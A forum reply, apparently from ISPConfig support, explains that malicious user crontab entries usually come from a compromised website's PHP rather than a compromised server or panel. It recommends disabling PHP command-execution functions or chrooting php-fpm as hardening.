    ISPConfig is not using the users crontab at all, so there was no abuse of the ISPConfig GUI if the cronjobs were in the crontab of a user. ISPConfig is using files in cron.d, which are separate from the users crontab and won't get listed by crontab -l command.

    The server does not need to be compromised for that and normally it is not compromised. The fact that the commands were in the users crontab is an indication that it was not compromised as the attacker would have used e.g. a root crontab or a less visible way to hide his scripts. As long as the PHP of a website is able to execute programs, then you can add a user crontab. And that's the reason why the attacker used it as it's basically the only way that he can permanently run his script without having to create post or get requests all the time. This type of user crontab infection is quite common when it comes to infected WordPress sites btw., seen it many times when I cleaned infected websites for customers. The only thing that you can do to avoid this are strict PHP settings by disabling all ways to execute commands via exec, passthru etc. for the PHP process of that website, but this might break some websites. Or you use php-fpm chrooting, which might work as well to prevent that.
     

Share This Page